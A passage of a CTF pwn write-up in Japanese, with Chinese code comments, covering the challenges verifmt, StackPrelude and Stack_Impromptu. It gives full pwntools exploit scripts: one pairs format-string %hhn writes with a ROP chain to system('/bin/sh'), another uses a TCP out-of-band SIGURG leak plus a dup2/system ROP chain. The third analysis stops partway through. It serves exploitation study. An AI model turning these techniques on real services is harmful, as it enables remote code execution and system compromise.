[{"content":"day1\rpwn\rverifmt\ra powerful verifier bro,that\u0026rsquo;s the Verifmt\nanalysis\r保護は全開、glibc2.39環境、問題はソースコードが与えられている\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 #include \u0026lt;ctype.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; int verify_fmt(const char *fmt, size_t n_args) { size_t argcnt = 0; size_t len = strlen(fmt); for (size_t i = 0; i \u0026lt; len; i++) { if (fmt[i] == \u0026#39;%\u0026#39;) { if (fmt[i+1] == \u0026#39;%\u0026#39;) { i++; continue; } if (isdigit(fmt[i+1])) { puts(\u0026#34;[-] Positional argument not supported\u0026#34;); return 1; } if (argcnt \u0026gt;= n_args) { printf(\u0026#34;[-] Cannot use more than %lu specifiers\\n\u0026#34;, n_args); return 1; } argcnt++; } } return 0; } int main() { size_t n_args; long args[4]; char fmt[256]; setbuf(stdin, NULL); setbuf(stdout, NULL); while (1) { /* Get arguments */ printf(\u0026#34;# of args: \u0026#34;); if (scanf(\u0026#34;%lu\u0026#34;, \u0026amp;n_args) != 1) { return 1; } if (n_args \u0026gt; 4) { puts(\u0026#34;[-] Maximum of 4 arguments supported\u0026#34;); continue; } memset(args, 0, sizeof(args)); for (size_t i = 0; i \u0026lt; n_args; i++) { printf(\u0026#34;args[%lu]: \u0026#34;, i); if (scanf(\u0026#34;%ld\u0026#34;, args + i) != 1) { return 1; } } /* Get format string */ while (getchar() != \u0026#39;\\n\u0026#39;); printf(\u0026#34;Format string: \u0026#34;); if (fgets(fmt, sizeof(fmt), stdin) == NULL) { return 1; } /* Verify format string */ if (verify_fmt(fmt, n_args)) { continue; } /* Enjoy! */ printf(fmt, args[0], args[1], args[2], args[3]); } return 0; } % の後に数字が続くと直接エラーになるが、しかし\n与えられたフォーマット文字列の数が制限の4より多い場合も直接終了する よって*を使ってオフセットを増やす必要があり、また符号なしなので前方へのリークはできない\n*は引数を取り出すプレースホルダであり、適切なペイロードを使えば、argsの引数を合理的に消費しつつ、% と読み取る引数の数を制限数字内に収めることができる\nアドレスのリークについては🚀のブログ\rを参照 最終的にプログラムはフォーマット文字列を分割して最大4つまで出力する\n\\0文字を注入してverifyをバイパスし、hhnで\\0を上書きできる\n問題は、%*だけでパラメータをポップすると、後続のr9 r10レジスタがnilになり、formatの制限によってリークされるアドレスもnilになること。そのため%*cを使って6個の引数を消費し、最後の%pでスタック上のアドレスポインタを出力できるようにする必要がある これに基づいて書き込み用の関数write_byte(addr,val)を作成できる:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def send_payload(n_args, args_list, fmt_str): io.sendlineafter(b\u0026#34;# of args: \u0026#34;, str(n_args).encode()) # 填充 args 数组 for i in range(n_args): io.sendlineafter(f\u0026#34;args[{i}]: \u0026#34;.encode(), str(args_list[i]).encode()) io.sendlineafter(b\u0026#34;Format string: \u0026#34;, fmt_str) def write_byte(addr, val): \u0026#34;\u0026#34;\u0026#34; 使用 %*c%hhn 写入 1 字节 args[0] = 写入值 (width) args[1] = 0 (char) args[2] = 目标地址 (pointer) \u0026#34;\u0026#34;\u0026#34; # 如果要写入 0x00，必须输出 0x100 (256) 个字符，%hhn 截断为 0x00 from小伞 if val == 0: val = 256 # args[0] = width/value, args[1] = char, args[2] = pointer args_write = [val, 0, addr, 0] # 构造 Payload: %*c 消耗 args[0], args[1]； %hhn 消耗 args[2] # n_args=3 或 4 均可 (我们用 4) send_payload(4, args_write, b\u0026#34;%*c%hhn\u0026#34;) 最後に書き込む際は、リークしたスタックポインタを使ってリターンアドレスを指し、1バイトずつ書き込む。whileがあるので十分な書き込み機会がある\nexp\rなぜかローカルのdockerでは接続できない。libcはコンテナのものを取ってきているはずなのに\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 import argparse import sys from pwn import * parser = argparse.ArgumentParser() parser.add_argument( \u0026#34;mode\u0026#34;, type=int, choices=[0, 1, 2], nargs=\u0026#34;?\u0026#34;, default=0, help=\u0026#34;0=local,1=local+gdb,2=remote\u0026#34;, ) args = parser.parse_args() filename = \u0026#34;./chall\u0026#34; libc_name = \u0026#34;./libc.so.6\u0026#34; arch = \u0026#34;amd64\u0026#34; remote_addr = \u0026#34;localhost\u0026#34; remote_port = \u0026#34;13337\u0026#34; context(log_level=\u0026#34;debug\u0026#34;, os=\u0026#34;linux\u0026#34;, arch=arch) if args.mode \u0026lt; 2: context.terminal = [\u0026#34;tmux\u0026#34;, \u0026#34;splitw\u0026#34;, \u0026#34;-h\u0026#34;] def VIO_TEXT(x, code=95): return log.info(f\u0026#34;\\x1b[{code}m{x}\\x1b[0m\u0026#34;) def CLEAR_TEXT(x, code=32): return log.success(f\u0026#34;\\x1b[{code}m{x}\\x1b[0m\u0026#34;) if args.mode == 0: io = process(filename) print(CLEAR_TEXT(\u0026#34;[*] Running on local machine\u0026#34;)) elif args.mode == 1: io = process(filename) gdb.attach( io, gdbscript=\u0026#34;\u0026#34;\u0026#34; \u0026#34;\u0026#34;\u0026#34;, ) elif args.mode == 2: io = remote(remote_addr, remote_port) else: sys.exit(1) elf = ELF(filename, checksec=False) if libc_name: libc = ELF(libc_name, checksec=False) else: libc=elf.libc def send_payload(n_args, args_list, fmt_str): io.sendlineafter(b\u0026#34;# of args: \u0026#34;, str(n_args).encode()) # 填充 args 数组 for i in range(n_args): io.sendlineafter(f\u0026#34;args[{i}]: \u0026#34;.encode(), str(args_list[i]).encode()) io.sendlineafter(b\u0026#34;Format string: \u0026#34;, fmt_str) def write_byte(addr, val): \u0026#34;\u0026#34;\u0026#34; 使用 %*c%hhn 写入 1 字节 args[0] = 写入值 (width) args[1] = 0 (char) args[2] = 目标地址 (pointer) \u0026#34;\u0026#34;\u0026#34; # 如果要写入 0x00，必须输出 0x100 (256) 个字符，%hhn 截断为 0x00 from小伞 if val == 0: val = 256 # args[0] = width/value, args[1] = char, args[2] = pointer args_write = [val, 0, addr, 0] # 构造 Payload: %*c 消耗 args[0], args[1]； %hhn 消耗 args[2] # n_args=3 或 4 均可 (我们用 4) send_payload(4, args_write, b\u0026#34;%*c%hhn\u0026#34;) # Leak Addresses libc and PIE VIO_TEXT(\u0026#34;Sending payload to leak addresses...\u0026#34;) # 1. Leak Stack Address (使用 3个 %*c 跳过 Nil from RocketMadev blog) # 预期打印 Arg 7 ([RSP+16] 或附近) args_leak_stack = [3, 0, 0, 0] fmt_stack = b\u0026#34;AAAA%*c%*c%*c%p\u0026#34; send_payload(4, args_leak_stack, fmt_stack) io.recvuntil(b\u0026#34;AAAA\u0026#34;) io.recvuntil(b\u0026#34;0x\u0026#34;) stack_leak = int(io.recvline().strip(), 16) CLEAR_TEXT(f\u0026#34;Leaked stack address: {hex(stack_leak)}\u0026#34;) # Arb Read store_pie_addr = stack_leak - 0x20 args_leak_pie = [0, 0, store_pie_addr, 0] payload_pie = b\u0026#34;B%*c%sEND\u0026#34; send_payload(4, args_leak_pie, payload_pie) io.recvuntil(b\u0026#34;B\u0026#34;) raw_leak_pie = io.recvuntil(b\u0026#34;END\u0026#34;, drop=True) raw_leak_pie = raw_leak_pie.lstrip(b\u0026#34;\\x00\u0026#34;).strip() raw_leak_pie = u64(raw_leak_pie[:7].ljust(8, b\u0026#34;\\x00\u0026#34;)) pie_base = raw_leak_pie - 0x12F6 CLEAR_TEXT(f\u0026#34;Calculated PIE base address: {hex(pie_base)}\u0026#34;) # Leak Libc store_libc_addr = stack_leak + 0x170 args_leak_libc = [0, 0, store_libc_addr, 0] payload_libc = b\u0026#34;B%*c%sEND\u0026#34; send_payload(4, args_leak_libc, payload_libc) io.recvuntil(b\u0026#34;B\u0026#34;) raw_leak_libc = io.recvuntil(b\u0026#34;END\u0026#34;, drop=True) raw_leak_libc = raw_leak_libc.lstrip(b\u0026#34;\\x00\u0026#34;).strip() raw_leak_libc = u64(raw_leak_libc[:7].ljust(8, b\u0026#34;\\x00\u0026#34;)) pause() libc_base = ( raw_leak_libc - 0x2718a ) # __libc_start_call_main+122 的偏移,要微调一下 CLEAR_TEXT(f\u0026#34;Calculated Libc base address: {hex(libc_base)}\u0026#34;) # ROP payload VIO_TEXT(\u0026#34;Constructing ROP chain...\u0026#34;) # 计算返回地址位置 OFFSET_TO_RET = 0x170 ret_addr_ptr = stack_leak + OFFSET_TO_RET CLEAR_TEXT(f\u0026#34;ROP Chain Start Ptr: {hex(ret_addr_ptr)}\u0026#34;) pop_rdi_ret = pie_base + 0x1282 CLEAR_TEXT(f\u0026#34;pop rdi; ret address: {hex(pop_rdi_ret)}\u0026#34;) bin_sh_addr = libc_base + 0x0000000000196031 CLEAR_TEXT(f\u0026#34;/bin/sh address: {hex(bin_sh_addr)}\u0026#34;) system_addr = libc_base + 0x4C330 exit_addr = libc_base + libc.sym[\u0026#34;exit\u0026#34;] ret_addr = pie_base + 0x101A CLEAR_TEXT(f\u0026#34;system address: {hex(system_addr)}\u0026#34;) ROP_CHAIN = [ pop_rdi_ret, bin_sh_addr, ret_addr, system_addr, ] VIO_TEXT(\u0026#34;Writing ROP Chain byte-by-byte...\u0026#34;) current_write_ptr = ret_addr_ptr for addr in ROP_CHAIN: for i in range(8): byte_to_write = (addr \u0026gt;\u0026gt; (8 * i)) \u0026amp; 0xFF # 对齐用 # 写入 write_byte(current_write_ptr + i, byte_to_write) # 移动到下一个地址的起始点 current_write_ptr += 8 CLEAR_TEXT(\u0026#34;ROP Chain written successfully.\u0026#34;) VIO_TEXT(\u0026#34;Triggering the overwritten return address...\u0026#34;) # pause() # 发送非数字字符，使 scanf 失败，main 函数 return，触发 ROP 链 io.sendlineafter(b\u0026#34;# of args: \u0026#34;, b\u0026#34;#\u0026#34;) io.interactive() StackPrelude\r前奏曲(Prelude)、不可能なスタックオーバーフローチャレンジに備えよう\nanalysis\rソースコードを分析する\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 #define _GNU_SOURCE #include \u0026lt;stdio.h\u0026gt; // 标准输入/输出库，用于 perror #include \u0026lt;stdlib.h\u0026gt; // 标准库，用于 atoi #include \u0026lt;netinet/in.h\u0026gt; // 包含 sockaddr_in 结构体和 IP 宏定义 #include \u0026lt;sys/socket.h\u0026gt; // 包含 socket, bind, listen, accept 等函数 #include \u0026lt;sys/types.h\u0026gt; // 包含基本系统数据类型 #include \u0026lt;unistd.h\u0026gt; // 包含 close 函数 int main(int argc, char **argv) { // 客户端地址结构体 (cli) 和服务器地址结构体 (addr)，用 {0} 初始化为零 struct sockaddr_in cli, addr = {0}; socklen_t clen; // 客户端地址结构体的长度 int cfd; // 客户端文件描述符 (Client File Descriptor) int sfd = -1; // 服务器文件描述符 (Server File Descriptor)，-1 表示未初始化或失败 int yes = 1; // 用于 setsockopt() 设置选项的值 (开启) ssize_t n; // 用于存储接收数据的长度或 recv/send 的返回值 char buf[0x100]; // 栈缓冲区，大小为 256 字节 (0x100)，用于存放客户端发送的数据 // 解析命令行参数：如果没有参数，默认端口 31337；否则使用第一个参数作为端口号 unsigned short port = argc \u0026lt; 2 ? 31337 : atoi(argv[1]); // 1. 创建 Socket // AF_INET: IPv4 地址族；SOCK_STREAM: TCP 协议（流式套接字）；0: 默认协议 if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) \u0026lt; 0) { perror(\u0026#34;socket\u0026#34;); // 输出错误信息 goto err; } // 2. 设置 Socket 选项：地址复用 // SOL_SOCKET: 套接字级别选项；SO_REUSEADDR: 允许重用本地地址，避免 TIME_WAIT 状态导致绑定失败 // 即使前一个进程在端口上留下了 TIME_WAIT 状态的连接，新进程也能立即启动并重新绑定到该端口，极大地提高了服务器的重启效率。 if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, \u0026amp;yes, sizeof(yes)) \u0026lt; 0) { perror(\u0026#34;setsockopt(SO_REUSEADDR)\u0026#34;); goto err; } // 3. 填充服务器地址结构体 addr.sin_family = AF_INET; // htonl(): 主机字节序转网络字节序 (32位)，INADDR_ANY: 监听本机所有网络接口 (0.0.0.0) addr.sin_addr.s_addr = htonl(INADDR_ANY); // htons(): 主机字节序转网络字节序 (16位)，设置监听端口 addr.sin_port = htons(port); // 4. 绑定 IP 地址和端口到 Socket if (bind(sfd, (struct sockaddr*)\u0026amp;addr, sizeof(addr)) \u0026lt; 0) { perror(\u0026#34;bind\u0026#34;); goto err; } // 5. 开始监听连接 // 将 Socket 设为被动模式，准备接受连接；backlog 参数为 1 (等待连接队列的最大长度) if (listen(sfd, 1) \u0026lt; 0) { perror(\u0026#34;listen\u0026#34;); goto err; } // 6. 接受客户端连接 clen = sizeof(cli); // 阻塞等待客户端连接。连接成功后，返回新的文件描述符 cfd 用于通信 if ((cfd = accept(sfd, (struct sockaddr*)\u0026amp;cli, \u0026amp;clen)) \u0026lt; 0) { perror(\u0026#34;accept\u0026#34;); goto err; } // 7. 进入数据处理循环 (Echo Loop) while (1) { n = 0; // 第一阶段接收：接收数据长度 (ssize_t，通常是 8 字节) // MSG_WAITALL: 确保接收到指定字节数 (sizeof(ssize_t)) 后才返回 recv(cfd, \u0026amp;n, sizeof(ssize_t), MSG_WAITALL); // 退出条件： // n \u0026lt;= 0: 客户端断开连接或发送无效长度 // n \u0026gt;= 0x200 (512): 长度超限，但注意： if (n \u0026lt;= 0 || n \u0026gt;= 0x200) break; // 第二阶段接收：根据 n 的大小接收数据到缓冲区 buf // MSG_WAITALL: 确保接收到 n 个字节后才返回 recv(cfd, buf, n, MSG_WAITALL); send(cfd, buf, n, 0); } return 0; err: // 错误处理标签：如果程序在任一阶段失败，跳转到这里 if (sfd \u0026gt;= 0) close(sfd); // 如果 sfd 已经创建成功，则关闭它 return 1; } この問題の鍵は、リモートで大量のデータをリークできる状態でもインタラクションを継続できるようにすること。ここで構築されたソケットサーバは一度に1つのリクエストしか処理できず、サーバはデータを受信した後にsendで送り返す\nコンピュータネットワーク\rを簡単に参照できる\n1つ目のアイデアはTCPプロトコルの半閉鎖特性を利用すること。4ウェイハンドシェイクの際に最初にクライアントの半閉鎖FINパケットを送る。このとき正常に接続を閉鎖せず、サーバがMSG_WAITALLによって0を返しcfdを閉じるようにする。しかしこの条件下では入力パケットを閉じることになり、データをリークできてもインタラクションを継続できない\nよって却下\n2つ目のアイデアは割り込み信号を利用すること。ここではOOB（OUT-OF-BAND）を使用する。sendのときにurgent byteを使うことでサーバ側でSIGURGシグナルを発生させる。これは非同期シグナルであり、recv関数を中断するが、sendは同じ長さのデータを返し、しかもインタラクションを継続できる！\nインタラクションとexp\rまず問題とのインタラクションのデバッグ方法を説明する\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 parser.add_argument( \u0026#34;mode\u0026#34;, type=int, choices=[0, 1, 2], nargs=\u0026#34;?\u0026#34;, default=0, help=\u0026#34;0=local, 1=local+gdb, 2=remote. (Default: 0)\u0026#34;, ) parser.add_argument( \u0026#34;-T\u0026#34;, \u0026#34;--threads\u0026#34;, type=int, default=None, help=\u0026#34;Thread count for remote connections (Overrides \u0026#39;mode\u0026#39;).\u0026#34; ) args = parser.parse_args() #... def launch(): global io, threads process_argv=[filename,str(remote_port)] # 优先处理多线程模式 (如果 -T 被设置) if args.threads is not None: if args.threads \u0026lt;= 0: raise ValueError(\u0026#34;Thread count must be positive.\u0026#34;) threads = [remote(remote_addr, remote_port, ssl=False) for _ in range(args.threads)] CLEAR_TEXT(f\u0026#34;[*] Started {args.threads} remote threads on {remote_addr}:{remote_port}\u0026#34;) return threads elif args.mode == 0: io = process(process_argv) CLEAR_TEXT(\u0026#34;[*] Running on local machine (mode 0)\u0026#34;) return io elif args.mode == 1: io = process(process_argv) CLEAR_TEXT(\u0026#34;[*] Running on local machine with GDB (mode 1)\u0026#34;) gdb.attach(io, gdbscript=\u0026#34;\u0026#34;\u0026#34; \u0026#34;\u0026#34;\u0026#34;) return io elif args.mode == 2: io = remote(remote_addr, remote_port) CLEAR_TEXT(f\u0026#34;[*] Running on remote: {remote_addr}:{remote_port} (mode 2)\u0026#34;) return io else: sys.exit(1) #... if __name__ == \u0026#34;__main__\u0026#34;: target = launch() # 判断是否为多线程模式 if args.threads is not None: threads = target VIO_TEXT(\u0026#34;--- Multi-Threaded Exploit Mode Active ---\u0026#34;) if threads: VIO_TEXT(\u0026#34;Entering interactive mode on the first thread for manual control...\u0026#34;) main(threads) else: io = target VIO_TEXT(\u0026#34;--- Single Connection Exploit Mode Active ---\u0026#34;) io.interactive() 上記は私のスクリプト。ローカルデバッグではまずプログラムとpwndbgを起動しioを作成し、その後新しいプロセスを開いて接続とインタラクションを行う\n1 2 python exp_thread.py 1 python exp_thread.py -T 1 その後、pwndbgを開いたインターフェースでインタラクションできる\n具体的な状況は図の通り\nデバッグはデータを送信した後、recvを開いたときに2番目のステップで以下の状況が見られる\nsocketはfd 4を固定のインタラクションハンドルとして使用する。シェルを開いた後に正常なターゲットとのインタラクションを行うには、dup2を使ってプログラムのインタラクションハンドルをstdout（または他のstdin、stderr）に複製する必要がある。そうしないとエコーが得られず、実行したsystem(\u0026quot;/bin/sh\u0026quot;)は直接\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 import argparse import sys from pwn import * # -------------------------- # 1. 命令行参数定义 # -------------------------- parser = argparse.ArgumentParser(description=\u0026#34;Pwn Exploit Script with multi-mode and multi-thread support.\u0026#34;) parser.add_argument( \u0026#34;mode\u0026#34;, type=int, choices=[0, 1, 2], nargs=\u0026#34;?\u0026#34;, default=0, help=\u0026#34;0=local, 1=local+gdb, 2=remote. (Default: 0)\u0026#34;, ) parser.add_argument( \u0026#34;-T\u0026#34;, \u0026#34;--threads\u0026#34;, type=int, default=None, help=\u0026#34;Thread count for remote connections (Overrides \u0026#39;mode\u0026#39;).\u0026#34; ) args = parser.parse_args() # --- 配置信息 --- filename = \u0026#34;./chall\u0026#34; libc_name = \u0026#34;./libc.so.6\u0026#34; arch = \u0026#34;amd64\u0026#34; remote_addr = \u0026#34;172.23.0.2\u0026#34; #NOTE:这里要注意不能用docker的回环地址 remote_port = 5000 # remote_addr = \u0026#34;localhost\u0026#34; # remote_port = 13337 context(log_level=\u0026#34;info\u0026#34;, os=\u0026#34;linux\u0026#34;, arch=arch) # 仅在 local/gdb 模式下，且没有使用线程模式时设置 terminal if args.mode \u0026lt; 2 and args.threads is None: context.terminal = [\u0026#34;tmux\u0026#34;, \u0026#34;splitw\u0026#34;, \u0026#34;-h\u0026#34;] elf = ELF(filename, checksec=False) if libc_name: libc = ELF(libc_name, checksec=False) def VIO_TEXT(x, code=95): return log.info(f\u0026#34;\\x1b[{code}m{x}\\x1b[0m\u0026#34;) def CLEAR_TEXT(x, code=32): return log.success(f\u0026#34;\\x1b[{code}m{x}\\x1b[0m\u0026#34;) def launch(): global io, threads process_argv=[filename,str(remote_port)] # 优先处理多线程模式 (如果 -T 被设置) if args.threads is not None: if args.threads \u0026lt;= 0: raise ValueError(\u0026#34;Thread count must be positive.\u0026#34;) threads = [remote(remote_addr, remote_port, ssl=False) for _ in range(args.threads)] CLEAR_TEXT(f\u0026#34;[*] Started {args.threads} remote threads on {remote_addr}:{remote_port}\u0026#34;) return threads elif args.mode == 0: io = process(process_argv) CLEAR_TEXT(\u0026#34;[*] Running on local machine (mode 0)\u0026#34;) return io elif args.mode == 1: io = process(process_argv) CLEAR_TEXT(\u0026#34;[*] Running on local machine with GDB (mode 1)\u0026#34;) gdb.attach(io, gdbscript=\u0026#34;\u0026#34;\u0026#34; \u0026#34;\u0026#34;\u0026#34;) return io elif args.mode == 2: io = remote(remote_addr, remote_port,ssl=False) CLEAR_TEXT(f\u0026#34;[*] Running on remote: {remote_addr}:{remote_port} (mode 2)\u0026#34;) return io else: sys.exit(1) # 先python 1启动一个终端进行开启进程和gdb调试，然后再在另一个终端进行数据交互 def main(threads): t0:tube # 使用第一个线程进行交互泄漏和攻击 t0 = threads[0] t0.sendline(flat(0x180)) t0.sock.send(b\u0026#34;A\u0026#34; * 2, constants.MSG_OOB) # or # with sock.out_of_band(): # sock.send(b\u0026#34;A\u0026#34; * 2) data=t0.recv() canary=int.from_bytes(data[0x108:0x110],\u0026#34;little\u0026#34;) libc.address=int.from_bytes(data[0x118:0x120],\u0026#34;little\u0026#34;)-0x2a1ca CLEAR_TEXT(f\u0026#34;[*] Leaked Canary: {hex(canary)}\u0026#34;) CLEAR_TEXT(f\u0026#34;[*] Leaked Libc Base: {hex(libc.address)}\u0026#34;) t0.sendline(flat(0x188)) VIO_TEXT(\u0026#34;[*] Sending ROP payload...\u0026#34;) pop_rdi_ret=libc.address+0x000000000010f78b pop_rsi_ret=libc.address+0x0000000000110a7d ret_addr=libc.address+0x000000000002882f payload=flat({ 0x108-1:canary, 0x118-1:pop_rdi_ret, 0x120-1:4, #fd 0x128-1:pop_rsi_ret, # 0 0x138-1:libc.sym[\u0026#39;dup2\u0026#39;], 0x140-1:pop_rdi_ret, 0x148-1:4, 0x150-1:pop_rsi_ret, 0x158-1:1, 0x160-1:libc.sym[\u0026#39;dup2\u0026#39;], 0x168-1:ret_addr, 0x170-1:pop_rdi_ret, 0x178-1:libc.search(b\u0026#34;/bin/sh\\x00\u0026#34;).__next__(), 0x180-1:libc.sym[\u0026#39;system\u0026#39;], },filler=b\u0026#34;\\x00\u0026#34;).ljust(0x188,b\u0026#34;\\x00\u0026#34;) t0.send(payload) t0.sendline(p64(0)) t0.interactive() if __name__ == \u0026#34;__main__\u0026#34;: target = launch() # 判断是否为多线程模式 if args.threads is not None: threads = target VIO_TEXT(\u0026#34;--- Multi-Threaded Exploit Mode Active ---\u0026#34;) if threads: VIO_TEXT(\u0026#34;Entering interactive mode on the first thread for manual control...\u0026#34;) main(threads) else: io = target VIO_TEXT(\u0026#34;--- Single Connection Exploit Mode Active ---\u0026#34;) main([io]) # Wrap io in a list to match the threads parameter io.interactive() tips: 注意すべき点として、dockerのターゲットとインタラクションする際には、ループバックアドレスloではなく、ホストにマッピングされたdocker内部IPを使用する必要がある。理由はOOBを使用するため\ndockerがポートをマッピングするとき、通常ホスト上で2つのことを行う:\n** iptables ルールの設定**: ホストポートからのトラフィックをDockerブリッジネットワークに導く。 ** docker-proxy プロセスの起動**: docker-proxy または類似のコンポーネント（userland-proxy）がホスト上で稼働し、ホストポートをリスンし、トラフィックをコンテナの内部IPとポートに転送する。 ループバックアドレスloを使うと、カーネルは宛先アドレスが127.0.0.1であることを検出し、TCPフレームに対してチェックサムなどをスキップする最適化を行う可能性がある。\nデータは通常のトラフィックのようにアプリケーション→トランスポート→ネットワーク→リンクを経由せず、ネットワーク層でキャプチャされる。docker-proxyはループバックトラフィックを処理する際にTCPフレームとフラグを完全に維持しないため、URGポインタを設定したOOB攻撃がTCPフレームフラグの最適化によって失敗し、recvの割り込みが発生せずデータリークに失敗する。したがってDockerのブリッジネットワークインターフェースを使わなければならない day2\rpwn\rStack_Impromptu\rThe world impossible is not in my dictionary\nanalysis\r保護は全開\nまずソースコードを監査する\nmain.cpp:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;netinet/in.h\u0026gt; #include \u0026lt;sys/socket.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;pthread.h\u0026gt; void fatal(const char *msg) { perror(msg); pthread_exit(NULL); } int server_read(int \u0026amp;fd){ size_t size; char buf[0x40]; memset(buf, 0, sizeof(buf)); if (read(fd, \u0026amp;size, sizeof(size)) != sizeof(size) || size \u0026gt; 0x100 || read(fd, buf, size) \u0026lt; size) goto err; write(fd, buf, size); return 0; err: close(fd); fatal(\u0026#34;Could not receive data (read)\u0026#34;); return 1; } void* server_main(void* arg) { int fd = (int)((intptr_t)arg); while (server_read(fd) == 0); return NULL; } int main(int argc, char** argv) { pthread_t th; struct sockaddr_in cli, addr = { 0 }; socklen_t clen; int cfd, sfd = -1, yes = 1; unsigned short port = argc \u0026lt; 2 ? 31337 : atoi(argv[1]); if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) \u0026lt; 0) { perror(\u0026#34;socket\u0026#34;); goto err; } if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, \u0026amp;yes, sizeof(yes)) \u0026lt; 0) { perror(\u0026#34;setsockopt(SO_REUSEADDR)\u0026#34;); goto err; } addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_port = htons(port); if (bind(sfd, (struct sockaddr*)\u0026amp;addr, sizeof(addr)) \u0026lt; 0) { perror(\u0026#34;bind\u0026#34;); goto err; } if (listen(sfd, 5) \u0026lt; 0) { perror(\u0026#34;listen\u0026#34;); goto err; } while (1) { clen = sizeof(cli); if ((cfd = accept(sfd, (struct sockaddr*)\u0026amp;cli, \u0026amp;clen)) \u0026lt; 0) { perror(\u0026#34;accept\u0026#34;); goto err; } pthread_create(\u0026amp;th, NULL, server_main, (void*)((intptr_t)cfd)); pthread_detach(th); } return 0; err: if (sfd \u0026gt;= 0) close(sfd); return 1; } 新しい接続cfdが生成されたとき、正常にpthread_createが呼び出され、使用後にpthread_detachで回収される\n明らかにマルチスレッドのチャレンジであり、1つのスレッドでメモリの内容を直接リークすることは不可能。鍵はserver_mainとserver_readである\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int server_read(int \u0026amp;fd){ size_t size; char buf[0x40]; memset(buf, 0, sizeof(buf)); if (read(fd, \u0026amp;size, sizeof(size)) != sizeof(size) || size \u0026gt; 0x100 || read(fd, buf, size) \u0026lt; size) goto err; write(fd, buf, size); return 0; err: close(fd); fatal(\u0026#34;Could not receive data (read)\u0026#34;); return 1; } void* server_main(void* arg) { int fd = (int)((intptr_t)arg); while (server_read(fd) == 0); return NULL; } server_readにはスタックオーバーフローがあり、繰り返し呼び出される。しかし前問とは異なり、この問題にはMSG_WAITALLがないため割り込み信号を使って情報をリークできない\npthreadマルチスレッドでは、すべてのスレッドが共通のプロセス空間内で実行され、グローバル変数、ヒープ空間、ファイル記述子を共有する。各スレッドは独立したスタック（Stack）のみを持つ！\npthreadには脆弱性があり、メモリ共有により、1つのスレッドのオーバーフローが他のスレッドのデータを改ざんし、プロセス全体が制御されたりクラッシュしたりする可能性がある\nこの問題は大会中に全くアイデアが浮かばなかった。厳格な入力フォーマットとデータサイズの制限によりリークを実現する方法がわからず、AIもデータを使って他のスレッドのメモリ空間を上書きできないか試すようアドバイスするだけだった。またマルチスレッドのデバッグは簡単ではなく、主にタイミングに関するインタラクションの問題を考慮する必要がある\n幸い大会後、discordで唯一解いた方のヒントを見た:\nではswap fdを具体的にどう実現するのか..？\u0026mdash;\u0026gt;pthreadがあるじゃないか!\nもしマルチスレッドを利用して特定のスレッドのfdを上書きし、fdをハイジャックできれば、fdをコピーして出力をリダイレクトし、最終的にメモリ情報をリークできるのではないか？\nfdハイジャック\rまず2つのスレッドを使って本当にfdをハイジャックできるか確認する。2つのスレッドを作成する\nスレッドスタック2でスタックの底を確認すると、実際の空間は上の図の通りで、fdを上書きするのに十分なスペースがある\n取り出されるのは[rbp-0x68]のqwordポインタであり、それをさらにデリファレンスして格納されたfdを取得する。したがって実際には0x7cの0を書き込んで最後にfdを上書きする\nこれにより、最後のcloseでは実際にはプロセス1のfdが閉じられることになる\nブロッキングの回避\r実際にはスレッド2を閉じているため、次にfdを割り当てるときもスレッド2用のfdが割り当てられ、再利用された4ではない 